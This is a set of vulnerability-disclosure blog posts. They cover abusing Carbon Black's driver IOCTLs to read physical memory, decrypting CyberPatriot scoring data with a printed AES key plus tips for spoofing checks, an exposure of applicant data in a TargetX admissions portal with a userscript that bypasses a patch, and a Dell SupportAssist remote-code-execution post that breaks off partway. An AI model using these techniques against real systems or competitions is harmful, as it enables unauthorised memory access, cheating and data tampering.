Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Reading Physical Memory using Carbon Black's Endpoint driver

14 February 2019 at 15:22
Reading Physical Memory using Carbon Black's Endpoint driver

Enterprises rely on endpoint security software in order to secure machines that have access to the enterprise network. Usually considered the next step in the evolution of anti-virus solutions, endpoint protection software can protect against various attacks such as an employee running a Microsoft Word document with macros and other conventional attacks against enterprises. In this article, I'll be looking at Carbon Black's endpoint protection software and the vulnerabilities attackers can take advantage of. Everything I am going to review in this article has been reported to Carbon Black and they have said it is not a real security issue because it requires Administrator privileges.

Driver Authentication

The Carbon Black driver (cbk7.sys) has a basic authentication requirement before accepting IOCTLs. After opening the "\\.\CarbonBlack" pipe, you must send "good job you can use IDA, you get a cookie\x0\x0\x0\x0\x0\x0\x0\x0" with the IOCTL code of 0x81234024.

Setting Acquisition Mode

The acquisition mode is a value the driver uses to determine what method to take when reading physical memory, we'll get into this in the next section. To set the acqusition mode, an attacker must send the new acquisition value in the input buffer for the IOCTL 0x8123C144 as an uint32_t.

Physical Memory Read Accesss

The Carbon Black Endpoint Sensor driver has an IOCTL (0x8123C148) that allows you to read an arbitrary physical memory address. It gives an attackers three methods/options of reading physical memory:

  1. If Acquisition Mode is set to 0, the driver uses MmMapIoSpace to map the physical memory then copies the data.
  2. If Acquisition Mode is set to 1, the driver opens the "\Device\PhysicalMemory" section and copies the data.
  3. If Acquisition Mode is set to 2, the driver translates the physical address to a virtual address and copies that.

To read physical memory, you must send the following buffer:

struct PhysicalMemReadRequest {
  uint64_t ptrtoread; // The physical memory address you'd like to read.
  uint64_t bytestoread; // The number of bytes to read.
};

The output buffer size should be bytestoread.

CR3 Access

Carbon Black was nice enough to have another IOCTL (0x8123C140) that gives a list of known physical memory ranges (calls MmGetPhysicalMemoryRanges) and provides the CR3 register (Directory Base). This is great news for an attacker because it means they don't have to predict/bruteforce a directory base and instead can convert a physical memory address directly to a kernel virtual address with ease (vice-versa too!).

To call this IOCTL, you need to provide an empty input buffer and output buffer with a minimum size of 0x938 bytes. To get the CR3, simply do *(uint64t_t*)(outputbuffer).

Impact

You might ask what's the big deal if you need administrator for this exploit. The issue I have is that the Carbon Black endpoint software will probably not be on an average home PC, rather on corporate endpoints. If a company is willing to purchase a software such as Carbon Black to protect their endpoints, they're probably doing other secure measures too. This might include having a whitelisted driver system, secure boot, LSA Protection, etc. If an attacker gains administrator on the endpoint (i.e if parent process was elevated), then they could not only disable the protection of Carbon Black, but could use their driver to read sensitive information (like the memory of lsass.exe if LSA Protection is on). My point is, this vulnerability allows an attacker to use a whitelisted driver to access any memory on the system most likely undetected by any anti-virus on the system. I don't know about you, but to me this is not something I'd accept from the software that's supposed to protect me.

The hash of the cbk7.sys driver is ec5b804c2445e84507a737654fd9aae8 (MD5) and 2afe12bfcd9a5ef77091604662bbbb8d7739b9259f93e94e1743529ca04ae1c3 (SHA256).

Reversing the CyberPatriot National Competition Scoring Engine

12 April 2019 at 22:10

Edit 4/12/2019

Reversing the CyberPatriot National Competition Scoring Engine

Originally, I published this post a month ago. After my post, I received a kind email from one of the primary developers for CyberPatriot asking that I take my post down until they can change their encryption algorithm. Given that the national competition for CyberPatriot XI was in a month, I decided to take the post down until after national competitions completed. National competitions ended yesterday which is why I am re-publishing this write up now.

Disclaimer

This article pertains to the competitions prior to 2018, as I have stopped participating in newer competitions and therefore no longer subject to the competition’s rule book. This information is meant for educational use only and as fair use commentary for the competition in past years.

Preface

CyberPatriot is the air force association's "national youth cyber education program". The gist of the competition is that competitors (teams around the nation) are given virtual machines that are vulnerable usually due to configuration issues or malicious files. Competitors must find and patch these holes to gain points.

The points are calculated by the CyberPatriot Scoring Engine, a program which runs on the vulnerable virtual machine and does routine checks on different aspects of the system that are vulnerable to see if they were patched.

I am a high school senior who participated in the competition 2015-2016, 2016-2017, 2017-2018 for a total of 3 years. My team got to regionals consistently and once got under the 12th place cut-off for an hour. The furthest my team got was regionals (once even got under 12th place for a good hour, which is the cut off for nationals). I did not participate this year because unfortunately the organization which was hosting CyberPatriot teams, ours included, stopped due to the learning curve.

This all started when I was cleaning up my hard drive to clear up some space. I found an old folder called "CyberPatriot Competition Images" and decided to take a look. In the years I was competing in CyberPatriot, I had some reversing knowledge, but it was nothing to compared to what I can do today. I thought it would be a fun experiment to take a look at the most critical piece of the CyberPatriot infrastructure - the scoring engine. In this article, I'm going to be taking an in-depth look into the CyberPatriot scoring engine, specifically for the 2017-2018 (CyberPatriot X) year.

General Techniques

If all you wanted to do is see what the engine accesses, the easiest way would be to hook different Windows API functions such as CreateFileW or RegOpenKeyExA. The reason I wanted to go deeper is that you don't see what they're actually checking, which is the juicy data we want.

Reversing

When the Scoring Engine first starts, it initially registers service control handlers and does generic service status updates. The part we are interested in is when it first initializes.

Before the engine can start scanning for vulnerabilities, it needs to know what to check and where to send the results of the checks to. The interesting part of the Scoring Engine is that this information is stored offline. This means, everything the virtual machine you are using will check is stored on disk and does not require an internet connection. This somewhat surprised me because storing the upload URL and other general information on disk makes sense, but storing what's going to be scored?

After initializing service related classes, the engine instantiates a class that will contain the parsed information from the local scoring data. Local scoring data is stored (encrypted) in a file called "ScoringResource.dat". This file is typically stored in the "C:\CyberPatriot" folder in the virtual machine.

The Scoring Data needs to be decrypted and parsed into the information class. This happens in a function I call "InitializeScoringData". At first, the function can be quite overwhelming due to its size. It turns out, only the first part does the decryption of the Scoring Data, the rest is just parsing through the XML (the Scoring Data is stored in XML format). The beginning of the "InitializeScoringData" function finds the path to the "ScoringResource.dat" file by referencing the path of the current module ("CCSClient.exe", the scoring engine, is in the same folder as the Scoring Data). For encryption and decryption, the Scoring Engine uses the Crypto++ library (version 5.6.2) and uses AES-GCM. After finding the name of the "ScoringResource.dat" file, the engine initializes the CryptContext for decryption.

Reversing the CyberPatriot National Competition Scoring Engine

The function above initializes the cryptographic context that the engine will later use for decryption. I opted to go with a screenshot to show how the AES Key is displayed in IDA Pro. The AES Key Block starts at Context + 0x4 and is 16 bytes. Following endianness, the key ends up being 0xB, 0x50, 0x96, 0x92, 0xCA, 0xC8, 0xCA, 0xDE, 0xC8, 0xCE, 0xF6, 0x76, 0x95, 0xF5, 0x1E, 0x99 starting at the *(_DWORD*)(Context + 4) to the *(_DWORD*)(Context + 0x10).

After initializing the cryptographic context, the Decrypt function will check that the encrypted data file exists and enter a function I call "DecryptData". This function is not only used for decrypting the Scoring Data, but also Scoring Reports.

The "DecryptData" function starts off by reading in the Scoring Data from the "ScoringResource.dat" file using the boost library. It then instantiates a new "CryptoPP::StringSink" and sets the third argument to be the output string. StringSink's are a type of object CryptoPP uses to output to a string. For example, there is also a FileSink if you want to output to a file. The "DecryptData" function then passes on the CryptContext, FileBuffer, FileSize, and the StringSink to a function I call "DecryptBuffer".

The "DecryptBuffer" function first checks that the file is greater than 28 bytes, if it is not, it does not bother decrypting. The function then instantiates a "CryptoPP::BlockCipherFinal" for the AES Class and sets the key and IV. The interesting part is that the IV used for AES Decryption is the first 12 bytes of the file we are trying to decrypt. These bytes are not part of the encrypted content and should be disregarded when decrypting the buffer. If you remember, the key for the AES decryption was specified in the initialize CryptoPP function.

After setting the key and IV used for the AES decryption, the function instantiates a "CryptoPP::ZlibDecompressor". It turns out that the Scoring Data is deflated with Zlib before being encrypted, thus to get the Scoring Data, the data must be inflated again. This Decompressor is attached to the "StreamTransformationFilter" so that after decryption and before the data is put into the OutputString, the data is inflated.

The function starts decrypting by pumping the correct data into different CryptoPP filters. AES-GCM verifies the hash of the file as you decrypt, which is why you'll hear me referring to the "HashVerificationFilter". The "AuthenticatedDecryptionFilter" decrypts and the "StreamTransformationFilter" allows the data to be used in a pipeline.

First, the function inputs the last 16 bytes of the file into the "HashVerificationFilter" and also the IV. Then, it inputs the file contents after the 12th byte into the "AuthenticatedDecryptionFilter" which subsequently pipes it into the "StreamTransformationFilter" which inflates the data on-the-go. If the "HashVerificationFilter" does not throw an error, it returns that the decryption succeeded.

The output buffer now contains the XML Scoring Data. Here is the format it takes:

<?xml version="1.0" encoding="utf-8"?>
<CyberPatriotResource>
  <ResourceID></ResourceID>
  <Tier/>
  <Branding>CyberPatriot</Branding>
  <Title></Title>
  <TeamKey></TeamKey>
  <ScoringUrl></ScoringUrl>
  <ScoreboardUrl></ScoreboardUrl>
  <HideScoreboard>true</HideScoreboard>
  <ReadmeUrl/>
  <SupportUrl/>
  <TimeServers>
    <Primary></Primary>
    <Secondary>http://time.is/UTC</Secondary>
    <Secondary>http://nist.time.gov/</Secondary>
    <Secondary>http://www.zulutime.net/</Secondary>
    <Secondary>http://time1.ucla.edu/home.php</Secondary>
    <Secondary>http://viv.ebay.com/ws/eBayISAPI.dll?EbayTime</Secondary>
    <Secondary>http://worldtime.io/current/utc_netherlands/8554</Secondary>
    <Secondary>http://www.timeanddate.com/worldclock/timezone/utc</Secondary>
    <Secondary>http://www.thetimenow.com/utc/coordinated_universal_time</Secondary>
    <Secondary>http://www.worldtimeserver.com/current_time_in_UTC.aspx</Secondary>
  </TimeServers>
  <DestructImage>
    <Before></Before>
    <After></After>
    <Uptime/>
    <Playtime/>
    <InvalidClient></InvalidClient>
    <InvalidTeam/>
  </DestructImage>
  <DisableFeedback>
    <Before></Before>
    <After></After>
    <Uptime/>
    <Playtime/>
    <NoConnection></NoConnection>
    <InvalidClient></InvalidClient>
    <InvalidTeam></InvalidTeam>
  </DisableFeedback>
  <WarnAfter/>
  <StopImageAfter/>
  <StopTeamAfter/>
  <StartupTime>60</StartupTime>
  <IntervalTime>60</IntervalTime>
  <UploadTimeout>24</UploadTimeout>
  <OnPointsGained>
    <Execute>C:\CyberPatriot\sox.exe C:\CyberPatriot\gain.wav -d -q</Execute>
    <Execute>C:\CyberPatriot\CyberPatriotNotify.exe You Gained Points!</Execute>
  </OnPointsGained>
  <OnPointsLost>
    <Execute>C:\CyberPatriot\sox.exe C:\CyberPatriot\alarm.wav -d -q</Execute>
    <Execute>C:\CyberPatriot\CyberPatriotNotify.exe You Lost Points.</Execute>
  </OnPointsLost>
  <AutoDisplayPoints>true</AutoDisplayPoints>
  <InstallPath>C:\CyberPatriot</InstallPath>
  <TeamConfig>ScoringConfig</TeamConfig>
  <HtmlReport>ScoringReport</HtmlReport>
  <HtmlReportTemplate>ScoringReportTemplate</HtmlReportTemplate>
  <XmlReport>ScoringData/ScoringReport</XmlReport>
  <RedShirt>tempfile</RedShirt>
  <OnInstall>
    <Execute>cmd.exe /c echo Running installation commands</Execute>
  </OnInstall>
  <ValidClient> <--! Requirements for VM -->
    <ResourcePath>C:\CyberPatriot\ScoringResource.dat</ResourcePath>
    <ClientPath>C:\CyberPatriot\CCSClient.exe</ClientPath>
    <ClientHash></ClientHash>
    <ProductID></ProductID>
    <DiskID></DiskID>
    <InstallDate></InstallDate>
  </ValidClient>
  <Check>
    <CheckID></CheckID>
    <Description></Description>
    <Points></Points>
    <Test>
      <Name></Name>
      <Type></Type>
      <<!--TYPE DATA-->></<!--TYPE DATA-->> <!-- Data that is the specified type -->
    </Test>
    <PassIf>
      <<!--TEST NAME-->>
        <Condition></Condition>
        <Equals></Equals>
      </<!--TEST NAME-->>
    </PassIf>
  </Check>
  <Penalty>
    <CheckID></CheckID>
    <Description></Description>
    <Points></Points>
    <Test>
      <Name></Name>
      <Type></Type>
      <<!--TYPE DATA-->></<!--TYPE DATA-->> <!-- Data that is the specified type -->
    </Test>
    <PassIf>
      <<!--TEST NAME-->>
        <Condition></Condition>
        <Equals></Equals>
      </<!--TEST NAME-->>
    </PassIf>
  </Penalty>
  <AllFiles>
    <FilePath></FilePath>
    ...
  </AllFiles>
  <AllQueries>
    <Key></Key>
    ...
  </AllQueries>
</CyberPatriotResource>

The check XML elements tell you exactly what they check for. I don't have the Scoring Data for this year because I did not participate, but here are some XML Scoring Data files for past years:

2016-2017 CP-IX High School Round 2 Windows 8: Here

2016-2017 CP-IX High School Round 2 Windows 2008: Here

2016-2017 CP-IX HS State Platinum Ubuntu 14: Here

2017-2018 CP-X Windows 7 Training Image: Here

Tool to decrypt

This is probably what a lot of you are looking for, just drag and drop an encrypted "ScoringResource.dat" onto the program, and the decrypted version will be printed. If you don't want to compile your own version, there is a compiled binary in the Releases section.

Github Repo: Here

Continuing reversing

After the function decrypts the buffer of Scoring Data, the "InitializeScoringData" parses through it and fills the information class with the data from the XML. The "InitializeScoringData" is only called once at the beginning of the engine and is not called again.

From then on, until the service receives the STOP message, it constantly checks to see if a team patched a vulnerability. In the routine function, the engine checks if the scoring data was initialized/decrypted, and if it wasn't, decrypts again. This is when the second check is done to see whether or not the image should be destructed. The factors it checks includes checking the time, checking the DestructImage object of the XML Scoring Data, etc.

If the function decides to destruct the image, it is quite amusing what it does...

Reversing the CyberPatriot National Competition Scoring Engine

The first if statement checks whether or not to destruct the image, and if it should destruct, it starts:

  • Deleting registry keys and the sub keys under them such as "SOFTWARE\\Microsoft\\Windows NT", "SOFTWARE\\Microsoft\\Windows", ""SOFTWARE\\Microsoft", "SOFTWARE\\Policies", etc.
  • Deleting files in critical system directories such as "C:\\Windows", "C:\\Windows\\System32", etc.
  • Overwriting the first 200 bytes of your first physical drive with NULL bytes.
  • Terminating every process running on your system.

As you can see in the image, it strangely repeats these functions over and over again before exiting. I guess they're quite serious when they say don't try to run the client on your machine.

After checking whether or not to destroy a system, it checks to see if the system is shutting down. If it is not, then it enters a while loop which executes the checks from the Scoring Data XML. It does this in a function I call "ExecuteCheck".

The function "ExecuteCheck" essentially loops every pass condition for a check and executes the check instructions (i.e C:\trojan.exe Exists Equals true). I won't get into the nuances of this function, but this is an important note if you want to spoof that the check passed. The check + 0x54 is a byte which indicates whether or not it passed. Set it to 1 and the engine will consider that check to be successful.

After executing every check, the engine calls a function I call "GenerateScoringXML". This function takes in the data from the checks and generates an XML file that will be sent to the scoring server. It loops each check/penalty and checks the check + 0x54 byte to see if it passed. This XML is also stored in encrypted data files under "C:\CyberPatriot\ScoringData\*.dat". Here is what a scoring XML looks like (you can use my decrypt program on these data files too!):

<?xml version="1.0" encoding="utf-8"?>
<CyberPatriot>
  <ResourceID></ResourceID>
  <TeamID/>
  <Tier/>
  <StartTime></StartTime>
  <VerifiedStartTime></VerifiedStartTime>
  <BestStartTime></BestStartTime>
  <TeamStartTime/>
  <ClientTime></ClientTime>
  <ImageRunningTime></ImageRunningTime>
  <TeamRunningTime></TeamRunningTime>
  <Nonce></Nonce>
  <Seed></Seed>
  <Mac></Mac>
  <Cpu></Cpu>
  <Uptime></Uptime>
  <Sequence>1</Sequence>
  <Tampered>false</Tampered>
  <ResourcePath>C:\CyberPatriot\ScoringResource.dat</ResourcePath>
  <ResourceHash></ResourceHash>
  <ClientPath>C:\CyberPatriot\CCSClient.exe</ClientPath>
  <ClientHash></ClientHash>
  <InstallDate></InstallDate>
  <ProductID></ProductID>
  <DiskID></DiskID>
  <MachineID></MachineID>
  <DPID></DPID>
  <Check>
    <CheckID></CheckID>
    <Passed>0</Passed>
  </Check>
  <Penalty>
    <CheckID></CheckID>
    <Passed>0</Passed>
  </Penalty>
  <TotalPoints>0</TotalPoints>
</CyberPatriot>

After generating the Scoring XML, the program calls a function I call "UploadScores". Initially, this function checks internet connectivity by trying to reach Google, the first CyberPatriot scoring server, and the backup CyberPatriot scoring server. The function uploads the scoring XML to the first available scoring server using curl. This function does integrity checks to see if the score XML is incomplete or if there is proxy interception.

After the scoring XML has been uploaded, the engine updates the "ScoringReport.html" to reflect the current status such as internet connectivity, the points scored, the vulnerabilities found, etc.

Finally, the function ends with updating the README shortcut on the Desktop with the appropriate link specified in the decrypted "ScoringResource.dat" XML and calling "DestructImage" again to see if the image should destruct or not. If you're worried about the image destructing, just hook it and return 0.

Conclusion

In conclusion, the CyberPatriot Scoring Engine is really not that complicated. I hope that this article clears up some of the myths and unknowns associated with the engine and gives you a better picture of how it all works. No doubt CyberPatriot will change how they encrypt/decrypt for next years CyberPatriot, but I am not sure to what extent they will change things.

If you're wondering how I got the "ScoringResource.dat" files from older VM images, there are several methods:

  • VMWare has an option under File called "Map Virtual Disks". You can give it a VMDK file and it will extract it for you into a disc. You can grab it from the filesystem there.
  • 7-Zip can extract VMDK files.
  • If you want to run the VM, you can set your system time to be the time the competition was and turn off networking for the VM. No DestructImage :)

Hacking College Admissions

13 April 2019 at 14:13
Hacking College Admissions

Getting into college is one of the more stressful time of a high school student's life. Since the admissions process can be quite subjective, students have to consider a variety of factors to convince the admissions officers that "they're the one". Some families do as much as they can to improve their chances - even going as far as trying to cheat the system. For wealthier families, this might be donating a very large amount to the school or as we've heard in the news recently, bribing school officials.

If you don't know about me already, I'm a 17-year-old high school senior that has an extreme interest in the information security field and was part of the college admissions process this year. Being part of the college admissions process made me interested in investigating, "Can you hack yourself into a school?". In this article, I'll be looking into TargetX, a "Student Lifecycle Solution for Higher Education" that serves several schools. All of this research was because of my genuine interest in security, not because I wanted to get into a school through malicious means.

Investigation

The school I applied to that was using TargetX was the Worcester Polytechnic Institute in Worcester, Massachusetts. After submitting my application on the Common App, an online portal used to apply to hundreds of schools, I received an email to register on their admissions portal. The URL was the first thing that shot out at me, https://wpicommunity.**force.com**/apply. Force.com reminded me of Salesforce and at first I didn't think Salesforce did college admissions portals. Visiting force.com brought me to their product page for their "Lightning Platform" software. It looked like it was a website building system for businesses. I thought the college might have made their own system, but when I looked at the source of the registration page it referred to something else called TargetX. This is how I found out that TargetX was simply using Salesforce's "Lightning Platform" to create a college admissions portal.

After registering, I started to analyze what was being accessed. At the same time, I was considering that this was a Salesforce Lightning Platform. First, I found their REST api platform hinged on a route called "apexremote", this turned out to be Salesforce's way of exposing classes to clients through REST. Here is the documentation for that. Fortunately, WPI had configured it correctly so that you could only access API's that you were supposed to access and it was pretty shut down. I thought about other API's Salesforce might expose and found out they had a separate REST/SOAP API too. In WPI's case, they did a good job restricting this API from student users, but in general this is a great attack vector (I found this API exposed on a different Salesforce site).

After digging through several javascript files and learning more about the platform, I found out that Salesforce had a user interface backend system. I decided to try to access it and so I tried a random URL: /apply/_ui/search/ui/aaaaa. This resulted in a page that looked like this:

Hacking College Admissions

It looked like a standard 404 page. What caught my eye was the search bar on the top right. I started playing around with the values and found out it supported basic wildcards. I typed my name and used an asterick to see if I could find anything.

Hacking College Admissions

Sorry for censoring, but the details included some sensitive details. It seemed as though I could access my own "Application Form" and contact. I was not able to access the application of any other students which gave a sigh of relief, but it soon turned out that just being able to access my own application was severe enough.

After clicking on my name in the People section, I saw that there was an application record assigned to me. I clicked on it and then it redirected me to a page with a significant amount of information.

Hacking College Admissions

Here's a generalized list of everything I was able to access:

General application information
Decision information (detailed list of different considered factors)
Decision dates
Financial Aid information
GPA
Enrollment information
Decision information (misc. options i.e to show decision or not)
Recommendations (able to view them)
SAT / ACT Scores
High school transcript
Perosnal statement
Application fee

Here's where it gets even worse, I can edit everything I just listed above. For example:

Hacking College Admissions

Don't worry, I didn't accept myself into any schools or make my SAT Scores a 1600.

Initial contact

After finding this vulnerability, I immediately reached out to WPI's security team the same day to let them know about the vulnerabilities I found. They were very receptive and within a day they applied their first "patch". Whenever I tried accessing the backend panel, I would see my screen flash for a quick second and then a 404 Message popped up.

Hacking College Admissions

The flash had me interested, upon reading the source code of the page, I found all the data still there! I was very confused and diff'd the source code with an older copy I had saved. This is the javascript blocked that got added:

if (typeof sfdcPage != 'undefined') {
    if (window.stop) {
        window.stop();
    } else {
        document.execCommand("Stop");
    }
    /*lil too much*/
    if (typeof SimpleDialog != 'undefined') {
        var sd = new SimpleDialog("Error" + Dialogs.getNextId(), false);
        sd.setTitle("Error");
        sd.createDialog();
        window.parent.sd = sd;
        sd.setContentInnerHTML("<p align='center'><img src='/img/msg_icons/error32.png' style='margin:0 5px;'/></p><p align='center'>404 Page not found.</p><p align='center'><br /></p>");
        sd.show();
    }
    document.title = "Error 404";
}

This gave me a good chuckle. What they were doing was stopping the page from loading and then replacing the HTML with a 404 error. I could just use NoScript, but I decided to create a simple userscript to disable their tiny "fix".

(function() {
    'use strict';

    if(document.body.innerHTML.includes("404 Page not found.")) {
        window.stop();
        const xhr = new XMLHttpRequest();
        xhr.open('GET', window.location.href);
        xhr.onload = () => {
            var modified_html = xhr.responseText
            .replace(/<script\b[\s\S]*?<\/script>/g, s => {
                if (s.includes("lil too much"))
                    return ""; // Return nothing for the script content
                return s;
            });
            document.open();
            document.write(modified_html);
            document.close();
        };
        xhr.send();
    }
})();

Basically, this userscript will re-request the page and remove any "404" script blocks then set the current page to the updated html. It worked great and bypassed their fix. As suspected, WPI only put a "band aid over the issue" to stop any immediate attacks. What I later learned when looking at some other schools was that TargetX themselves added the script under the name "TXPageStopper" - this wasn't just WPI's fix.

It's important to note that if you tried this today, sure the 404 page would be removed, but nothing is accessible. They've had this patch since January and after doing a real patch to fix the actual issue, they just never removed the 404 page stopper.

Remediation?

This is going to be a small section about my interactions with WPI after sending them the vulnerability details. I first found and reported this vulnerability back in January, specifically the third. WPI was very responsive (often replied within hours). I contacted them on February 14th again asking how the vulnerability patch was going and whether or not this was a vulnerability in only WPI or it was a vulnerability in TargetX too. Again within an hour, WPI responded saying that they have fixed the issues and that they had a "final meeting set up for the incident review". They said, "It was a combination of a TargetX vulnerability as well as tightening up some of our security settings".

I immediately (within 8 minutes) replied to their email asking for the TargetX side of the vulnerability to apply for a CVE. This is when things turned sour. Five days past and there was no reply. I sent a follow-up email to check in. I sent another follow up the next week and the week after that. Complete radio silence. By March 16th, I decided to send a final email letting them know that I had intended to publish about the vulnerability that week, but this time I CC'd the boss of the person I was in contact with.

Within a day, on a Sunday, the boss replied saying that they had not been aware that I was waiting on information. This is specifically what that email said:

We will reach out to TargetX tomorrow and determine and confirm the exact details of what we are able to release to you. I will be in touch in a day or two with additional information once we have talked with TargetX. We would prefer that you not release any blog posts until we can follow-up with TargetX. Thank you.

Of course if the vulnerability had not been completely patched yet, I did not want to bring any attention to it. I sent back an email appreciating their response and that I looked forward to their response.

A week past. I sent a follow up email asking on the status of things. No response. I sent another follow up the next week and this time I mentioned that I again was planning to publish. Radio silence.

It has been about a week since I sent that email and because I have had no response from them, I decided to publish given that they had said they had patched the vulnerability and because I could not extract any more data.

Other schools impacted

I named this post "Hacking College Admissions" because this vulnerability was not just in WPI. Besides WPI confirming this to me themselves, I found similar vulnerabilities in other schools that were using the TargetX platform.

To find other schools impacted, I found all of the subdomains of force.com and tried to find universities. I am sure I missed some schools, but this is a small list of the other schools affected.

Antioch University
Arcadia University
Averett University
Bellevue University
Berklee College of Music
Boston Architechtural College
Boston University
Brandman University
Cabrini University
California Baptist University
California School Of The Arts, San Gabriel Valley
Cardinal University
City Year
Clarion University of Pennsylvania
Columbia College
Concordia University, Irvine
Concordia University, Montreal
Concordia University, Oregon
Concordia University, Texas
Delaware County Community College
Dominican University
ESADE Barcelona
East Oregon University
Eastern University
Embry-Riddle Aeronautical University
Fashion Institute of Design & Merchandising
George Mason University
George Washington University
Grove City College
Harvard Kennedy School
Hood College
Hope College
Illinois Institute of Technology
International Technological University
Johnson & Wales University
Keene State College
Laguna College
Lebanon Valley College
Lehigh Carbon Community College
London School of Economics and Political Science
Mary Baldwin University
Master's University
Morovian College
Nazareth College
New York Institute of Technology
Oregon State University
Pepperdine University
Piedmont College
Plymouth State University
Regis College
Saint Mary's University of Minnesota
Simpson University
Skagit Valley College
Summer Discovery
Texas State Technical College
Townson University
USC Palmetto College
University of Akron
University of Arizona, Eller MBA
University of California, Davis
University of California, San Diego
University of California, Santa Barbara
University of Dayton
University of Houston
University of Maine
University of Michigan-Dearborn
University of Nevada, Reno
University of New Hampshire
University of New Haven
University of Texas, Dallas
University of Virginia
University of Washington
Universwity of Alabama, Birmingham
West Virginia University
Western Connecticut University
Western Kentucky University
Western Michigan University
Wisconsin Indianhead Technical College
Worcester Polytechnic Institute
Wright State University

There are some schools that appeared to be running on the same Salesforce platform, but on a custom domain which is probably why I missed schools.

Conclusion

It turns out, having lots of money isn't the only way to get into your dream college and yes, you can "Hack yourself into a school". The scary part about my findings was that at least WPI was vulnerable since they implemented the Salesforce system in 2012. Maybe students should be taking a better look at the systems around them, because all I can imagine is if someone found something like this and used it to cheat the system.

I hope you enjoyed the article and feel free to message me if you have any questions.

Remote Code Execution on most Dell computers

30 April 2019 at 12:52
Remote Code Execution on most Dell computers

What computer do you use? Who made it? Have you ever thought about what came with your computer? When we think of Remote Code Execution (RCE) vulnerabilities in mass, we might think of vulnerabilities in the operating system, but another attack vector to consider is "What third-party software came with my PC?". In this article, I'll be looking at a Remote Code Execution vulnerability I found in Dell SupportAssist, software meant to "proactively check the health of your system’s hardware and software" and which is "preinstalled on most of all new Dell devices".

Discovery

Back in September, I was in the market for a new laptop because my 7-year-old Macbook Pro just wasn't cutting it anymore. I was looking for an affordable laptop that had the performance I needed and I decided on Dell's G3 15 laptop. I decided to upgrade my laptop's 1 terabyte hard drive to an SSD. After upgrading and re-installing Windows, I had to install drivers. This is when things got interesting. After visiting Dell's support site, I was prompted with an interesting option.

Remote Code Execution on most Dell computers

"Detect PC"? How would it be able to detect my PC? Out of curiosity, I clicked on it to see what happened.

Remote Code Execution on most Dell computers

A program which automatically installs drivers for me. Although it was a convenient feature, it seemed risky. The agent wasn't installed on my computer because it was a fresh Windows installation, but I decided to install it to investigate further. It was very suspicious that Dell claimed to be able to update my drivers through a website.

Installing it was a painless process with just a click to install button. In the shadows, the SupportAssist Installer created the SupportAssistAgent and the Dell Hardware Support service. These services corresponded to .NET binaries making it easy to reverse engineer what it did. After installing, I went back to the Dell website and decided to check what it could find.

Remote Code Execution on most Dell computers

I opened the Chrome Web Inspector and the Network tab then pressed the "Detect Drivers" button.

Remote Code Execution on most Dell computers

The website made requests to port 8884 on my local computer. Checking that port out on Process Hacker showed that the SupportAssistAgent service had a web server on that port. What Dell was doing is exposing a REST API of sorts in their service which would allow communication from the Dell website to do various requests. The web server replied with a strict Access-Control-Allow-Origin header of https://www.dell.com to prevent other websites from making requests.

On the web browser side, the client was providing a signature to authenticate various commands. These signatures are generated by making a request to https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken which also provides when the signature expires. After pressing download drivers on the web side, this request was of particular interest:

POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Origin: https://www.dell.com
Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

The body:

[
    {
    "title":"Dell G3 3579 and 3779 System BIOS",
    "category":"BIOS",
    "name":"G3_3579_1.9.0.exe",
    "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
    "isSecure":false,
    "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
    "run":false,
    "restricted":false,
    "fileId":"198393521",
    "fileSize":"13 MB",
    "checkedStatus":false,
    "fileStatus":-99,
    "driverId":"4WW45",
    "path":"",
    "dupInstallReturnCode":"",
    "cssClass":"inactive-step",
    "isReboot":true,
    "DiableInstallNow":true,
    "$$hashKey":"object:175"
    }
]

It seemed like the web client could make direct requests to the SupportAssistAgent service to "download and manually install" a program. I decided to find the web server in the SupportAssistAgent service to investigate what commands could be issued.

On start, Dell SupportAssist starts a web server (System.Net.HttpListener) on either port 8884, 8883, 8886, or port 8885. The port depends on whichever one is available, starting with 8884. On a request, the ListenerCallback located in HttpListenerServiceFacade calls ClientServiceHandler.ProcessRequest.

ClientServiceHandler.ProcessRequest, the base web server function, starts by doing integrity checks for example making sure the request came from the local machine and various other checks. Later in this article, we’ll get into some of the issues in the integrity checks, but for now most are not important to achieve RCE.

An important integrity check for us is in ClientServiceHandler.ProcessRequest, specifically the point at which the server checks to make sure my referrer is from Dell. ProcessRequest calls the following function to ensure that I am from Dell:

// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
	return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
}

// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
	return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
}

The issue with the function above is the fact that it really isn’t a solid check and gives an
attacker a lot to work with. To bypass the Referer/Origin check, we have a few options:

  1. Find a Cross Site Scripting vulnerability in any of Dell’s websites (I should only have to
    find one on the sites designated for SupportAssist)
  2. Find a Subdomain Takeover vulnerability
  3. Make the request from a local program
  4. Generate a random subdomain name and use an external machine to DNS Hijack the victim. Then, when the victim requests [random].dell.com, we respond with our server.

In the end, I decided to go with option 4, and I’ll explain why in a later bit. After verifying the Referer/Origin of the request, ProcessRequest sends the request to corresponding functions for GET, POST, and OPTIONS.

When I was learning more about how Dell SupportAssist works, I intercepted different types of requests from Dell’s support site. Luckily, my laptop had some pending updates, and I was able to intercept requests through my browsers console.

